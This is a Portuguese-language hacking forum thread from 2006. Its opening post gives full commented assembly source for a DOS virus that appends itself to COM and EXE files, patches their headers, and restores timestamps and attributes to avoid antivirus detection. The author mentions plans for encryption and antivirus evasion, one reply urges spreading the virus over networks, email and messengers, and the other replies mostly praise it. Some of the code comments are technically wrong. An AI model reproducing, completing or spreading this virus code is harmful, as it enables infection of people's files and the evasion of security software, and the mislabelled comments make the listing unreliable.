Aprendendo a Infectar COM & Exe Usando ASM

Started by Anonymous, 01 de April , 2006, 04:35:40 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Aloha Darkers..

Mais uma vez eu aqui .. agora q eu voltei vou começar a postar pra caramba pelo menos ate eu atingir meu objetivo ..

bom galera .. hj minha perfomace será como infectar COM & Exe Só q usem com cuidado cambada
que a fita é forte é uma rotina codada por min .. mais q vai interessar mta gente eu espero ne :|

Antes de Tudo Galera

Vou Usar Assembly então se preparem para estudar muito pois asm é bem treta
e nada faz sentido ate q voce tenha base por isso peço q nao fiquem me questionando , incrementem ai sim :) completem conteudo agora ficar me perguntando coisas basicas igual todo dia ocorre no msn não ne galera

para começar gostaria de dizer umas palavras  Vou dar uma breve explanação sobre o vírus e tudo mais , se bem que isso meio inútil pois o vírus ta ai  e só alegria !

Quero agradecer a toda a galera que um dia já fez um vírus Bom quero também descer o cacete na galera que acha que não existem bons vírus nacionais , quer exemplos , só 2 bastam , os 2 brasileiros mais
conhecidos : Leandro & Kelly e o (Del)ta .
 
Ah outra coisa que a galera curte só os geradores de vírus (coisa de lamah ), tudo bem concordo 100% , mas existem rotinas que os geradores desenvolvem que são show .. por isso aconselharia estudar as rotinas

geradas e não somente "gerar" o vírus em 3 segundos e Mandar pro seu Coleguinha isso não é ser fuçador isso é usar .. apenas e não entender

Esse meu vírus é 100% brasileiro ! Algumas rotinas , alguns "Despistadores de
flags" (tanto de rotinas de desvio heuristico de anti-virus ) , e alguns endereços de memória não
são meus , só os implementei para minha tecnica

A confecão de um vírus não é uma tarefa fácil esse que segue abaixo demorou um bom tempo pra ficar pronto tipo uns meses (5) e olha que é um vírus fraquinho !

Bom ele ainda falta rotina de encriptar ele para q não seja pego por Kaspersky e Nods da vida que usam o sistema ( driver ) para achar o arquivo .. ah estou tentando desenvolver uma rotina para verificar
a memoria completamente e ver se há algum anti-virus carregado se tiver ele vai pular o endereço e o anti-virus não vai saber da presença, infelizmente ainda não ta pronto

     O vírus esta com os comentários em português  sempre fico fud!#!@#@! quando pego
um fonte , que não tem comentários , seja lá do que for ou em que linguagem bom pessoal agora q eu já disse o que penso vamos ao código

Boa Diversão !!!


;=========================================
; * Notas sobre o vírus :
; - Infecta COM e EXE (verifica tamanho de COM)
; - Sem malefécios , sem data de ativação , sem destruição .
; * Ah , os fontes são unicamente para fins educativos !
; * Nome ... ?? Humm não sei ... Dêem Nomes vocês...
; * Programador - Ricardo Silva de Barros
;=========================================

;Código:

Virus   segment byte public
assume  cs: Virus

org     100h    ; O vírus vai pegar .COM
id   =  'GR'      ; ID dos "EXE" Infectados

Inicio:
       
       mov      Infeccoes, 0  ; Limpa o contador das infeccoes = 0
       call        proximo        ; Pula para rotina Proximo Abaixo..

Proximo: 
       
       nop                         ; Ha,ha ,Só um charme ! 
     
       pop    bp                 ; Aloca os Ponteiro para endereço de Mémoria
       
       sub    bp, offset Proximo

       push    cs
       push    cs
       pop     ds
       pop     es
     
       ; Rotina Acima Limpa a Pilha :)

       mov     ah, 47h  ; Movimenta para a Interrupção de Bios 47h ( Interrupção de manipulação de Arquivos )
       xor       dl, dl     ; Encripta o Movimento
 
       lea      si, [bp+offset Dir_origem+1] ; Salva o diretório de origem
       int     21h

       push    es            ; Novo DTA ( Data do Executavel ou Seja guarda quantos Exe/Com tem na Pasta )
       push    ds
       mov     ah, 1Ah
       lea     dx, [bp+offset NovoDTA]
       int     21h

       lea     di, [bp+offset origCSIP2]  ; Para salvar os EXE
       lea     si, [bp+offset origCSIP]
       mov     cx, 4
       rep     movsw
       mov     byte ptr [bp+Infeccoes], 0

traverse_loop:
       
       lea     dx, [bp+offset exe_spec]   ; Procurar arquivos EXE
       mov     ah, 4Eh
       call    Infectar
       
       lea     dx, [bp+offset com_spec]   ; Procurar arquivos COM
       mov     ah, 4Eh
       call    Infectar
       
       mov     ah, 3Bh       ; Cair para a Raiz (C:\>)
       lea     dx, [bp+offset Raiz]
       int     21h
       jnc     traverse_loop

Sai_traverse:
       
       lea     dx, [bp+offset Dir_origem] ; Voltar ao diretório original
       mov     ah, 3Bh

       int     21h
       pop     ds            ; Volta DTA
       pop     es
 
       mov     ah, 1Ah
       mov     dx, 80h
       int     21h
 
       cmp     sp, id        ; Compara é um EXE? se for
       jne     Infectar      ; então infecta !! :)

Restaurar_exe:                ; Restaurar EXE

       mov     ax, ds
       add     ax, 10h

       add     cs:[bp+word ptr origCSIP2+2], ax
       add     ax, cs:[bp+word ptr origSPSS2]
       cli

       mov     ss, ax
       mov     sp, cs:[bp+word ptr origSPSS2+2]
       sti

       db      00EAh         ; Pule para o código de origem e Entre dentro do EXE

origCSIP2        db      ?  ; Variavel de Endereço de Origem Com
origSPSS2       dd      ?  ; Variavel de Endereço de Origem Exe
origCSIP          db      ?  ; Variavel de Endereço de Origem Dir
origSPSS         dd      ?  ; Variavel de Endereço de Origem Disco Local

tres_bytes      db      0CDh, 20h, 0 ; Pula e Esconde dentro do Exe/Com

Restaurar_com:                ; Restaurar COM

        mov     di, 100h
        push    di
        lea     si, [bp+offset tres_bytes]

        movsw
        movsb

return: ret                   ; Volte para o código original

Infectar: ; Rotina de Infecção

        mov     cx, 7
        mov     ah, 4Eh       ; Encontrar o 1 arquivo
                             
Proximo_arq:

        int     21h
        jc      return

        lea     dx, [bp+NovoDTA+30]        ; Ver os attributos do arquivo
        mov     ax, 4300h                        ; "attrib" do DOS manja ? hahaha
        int     21h
        jc      return
        push    cx                                   
       
        ; Salva os atributos ( depois restaura para Anti-Virus não Desconfiarem )
       
        push    dx

        mov     ax, 4300h     ; Limpar os atributos ("+R" não consigo alterar)
        inc       al
        push    ax
       
        xor     cx, cx
        int     21h

        mov     ax, 3D02h     ; Abrir aquivo para ler/alterar
        lea     dx, [bp+NovoDTA+30]
        int     21h
        xchg    ax, bx

        mov     ax, 5700h     ; Ver a data e o horário do arquivo
        int     21h
        push    cx                ; Salvar data e hora
        push    dx

        mov     ah, 3Fh
        mov     cx, 1Ah       ; Lendo o arquivo
        lea     dx, [bp+offset leiabuffer]
        int     21h

        mov     ax, 4202h     ; Indo com o ponteiro para o fim do arquivo
        xor     cx, cx
        cwd
        int     21h

        mov     cx, word ptr [bp+offset leiabuffer+1]
        add     cx, Pilha-Inicio+3          ; CX = Tamanho do arquivo
        cmp     ax, cx
        jz      Ja_infectado  ; Já esta infectado ?

        cmp     ax, 65535-(Fim_da_Pilha-Inicio) ; Vai dar estouro de divisão ?
                                            ; (o COM vai ficar muito grande ?)
        ja      Ja_infectado

        lea     di, [bp+offset tres_bytes]  ; Salve os 3 primeiro bytes
        lea     si, [bp+offset leiabuffer]
        movsb
        movsw

        mov     cx, 3                       ; Código para o v?rus
        sub     ax, cx
        mov     word ptr [bp+offset leiabuffer+1], ax
        mov     dl, 0E9h
        mov     byte ptr [bp+offset leiabuffer], dl
        jmp     short continue_Infectar

checkexe:

        cmp     word ptr [bp+offset leiabuffer+10h], id
        jnz     Vacilada     ; Não esta infectado, não vacila, Infecte !!! :)

Ja_infectado:

        jmp     Fechar        ; Já Infectado . Feche o arquivo .

Vacilada: 

        lea     di, [bp+origCSIP]
        lea     si, [bp+leiabuffer+14h]
        movsw                 ; Salvar CS e IP
        movsw

        sub     si, 0Ah       ; Salvar SS e SP
        movsw
        movsw

        push    bx            ; Nome do arquivo
        mov     bx, word ptr [bp+leiabuffer+8]  ; Tamanho do Header
 
        mov     cl, 4
        shl     bx, cl

        push    dx
        push    ax

        sub     ax, bx        ; Tamanho do arquivo - Tamanho do Header
        sbb     dx, 0

        mov     cx, 10h
        div     cx

        mov     word ptr [bp+leiabuffer+0Eh], ax ; SS
        mov     word ptr [bp+leiabuffer+10h], id ; SP
        mov     word ptr [bp+leiabuffer+14h], dx ; IP
        mov     word ptr [bp+leiabuffer+16h], ax ; CS

        pop     ax
        pop     dx

        add     ax, Pilha-Inicio
        adc     dx, 0

        mov     cl, 9
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc
        adc     dx, ax
        pop     ax
        and     ah, 1

        mov     word ptr [bp+leiabuffer+2], ax
        mov     word ptr [bp+leiabuffer+4], dx  ; Fixando o Header

        pop     bx
        mov     cx, 1Ah

Continue_Infectar:

        mov     ah, 40h
        mov     cx, Pilha-Inicio            ; Insere o vírus no fim do arquivo
        lea     dx, [bp+offset Inicio]
        int     21h

        mov     ax, 4200h
        xor     cx, cx                      ; Colocar o ponteiro no começo do
                                               ; arquivo
        cwd
        int     21h

        mov     ah, 40h
        mov     cx, 1Ah                     ; Grava código do vírus

        lea     dx, [bp+offset leiabuffer]
        int     21h


        inc     [bp+Infeccoes]              ; Ja infectei quantos ? (?/3)

Fechar:

        mov     ax, 5700h     ; Voltar a data e hora original do arquivo
        inc     al
        pop     dx
        pop     cx
        int     21h

        mov     ah, 3Eh       ; Fechar o arquivo
        int     21h

        pop     ax            ; Restaurar os atributos
        pop     dx
        pop     cx
        int     21h

        cmp     [bp+Infeccoes], 3
        jae     Ate
        mov     ah, 4Fh       ; 3/3 infecões ? Não ? Infectar o proximo arq
        jmp     Proximo_arq

        mov     ah, 3Bh       ; Mudar o diretorio

        lea     dx, [bp+Dir_origem]         ; Restaurar o diretório
        int     21h           ; Mudar o diretório (Execução)

Ate:    ret


Raiz            db      '..',0

Pilha:
Dir_origem      db      64 dup (0)          ; Buffers
Infeccoes       db      ?                        ; Número de arquivos infectados
leiabuffer      db      1ah dup (?)

Fim_da_Pilha:

Virus   ends
        end Inicio


É isso ai galera Pow que trabalho comentar Tudo ( Hunf ) Mais então espero que gostem e Estudem :)

Adios...


Ricardo Silva de Barros
1/Abr/2006
16:35

Anonymous

Não venho nessa porcaria de fórum cheio de lammer(venho raramente pra falar a verdade), mas não podia deixar de comentar sobre seu post ricardo, vlw ficou show demais!!!!!!!!!

TGA

TGA

Fala apoca... big brother..
Bom, ASM não é meu forte, mais tenho que confessar, tenho inveja de seu coders em ASM;
são raras as pessoas que conhecem sobre o assunto, e cada dia que passa vejo o que  seu
conhecimento só almenta, isso aew brother, parabens irmão, como sempre belos coders...

vlw...   abraços....
"A IMAGINAÇÃO É MAIS IMPORTANTE QUE O CONHECIMENTO"
__________________________________________________________

Anonymous

Realmente,esse post arraso esta muito bom.
Acho que agora ele mereça um ponto por todo o trabalho que ele teve nesse post
Continua assim Ricardo,vc tem futuro brother

Bye...

Anonymous

É isso aí Ricardo! Merece um ponto positivo e um beijo.  :-*

Anonymous

Ricardo, só vou te lembrar uma coisa, virus para ser virus não nescesita de apenas infectar outros arquivos na máquina local, e sim ser capaz de se reproduzir para fora hoje digamos por meios não fisicos ao contrario da época do Leandro e kelly. Pense em espalhar ele através da lan, de e-mail, de messageiros e etc...

Olha seu nivel de ASM tá elevando a cada dia em filho! Tenho um projeto para discutir com você(4p0c4 não sinapse hehehe), breve te acho no msn.

Fox

Puta merda....o cara e' fera mesmo... Voce vai longe se continuar assim...
Bom post ....

whit3_sh4rk

Bom, assembly e grego eh a mesma coisa pra mim, não entendo nada kkkk..
Mas me pareceu mto interessante o seu code, e da pra ver que vc tem um ótimo conhecimento em programação..

[]s

Shady

Ai ai ai, tou vendo que tenho muuuito a estudar ^^ obrigado por mais esta fonte!


Mundus Vult Decipi

bloodrain


Anonymous

Ricardo Brother
Muito Show cara
Parabens e continue assim mano 8)

Cloudy

E ae ricardo, sei nadicas de ASM, mas mesmo assim não podia deixar de comentar aqui.

Parabéns mano, parabéns mesmo. Cada dia que passa vc se supera. E to esperando aquele trabalho que vc me falou no MSN, aquele lá vai ser detonador mano!

Flw

Obs: Salvo num txt, quem sabe, quando eu começar a estudar ASM eu não volto pra ler.

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

bloodrain

QuoteNão venho nessa porcaria de fórum cheio de lammer(venho raramente pra falar a verdade), mas não podia deixar de comentar sobre seu post ricardo, vlw ficou show demais!!!!!!!!!

aaaaaa na moral ja tomei advertencias cartoes reclamaçoes e etc por mto menos que isso acho que merecia uma puniçao  :-[

Anonymous

Muito Bom Ricardo!!!!!!

Assim como a maioria do pessoal, não sei nadinha de ASM, mas seus post e vários outros cada vez mais nos incentivam.

Show de Post!!

Abração,

Haxnetwork

Shady



Mundus Vult Decipi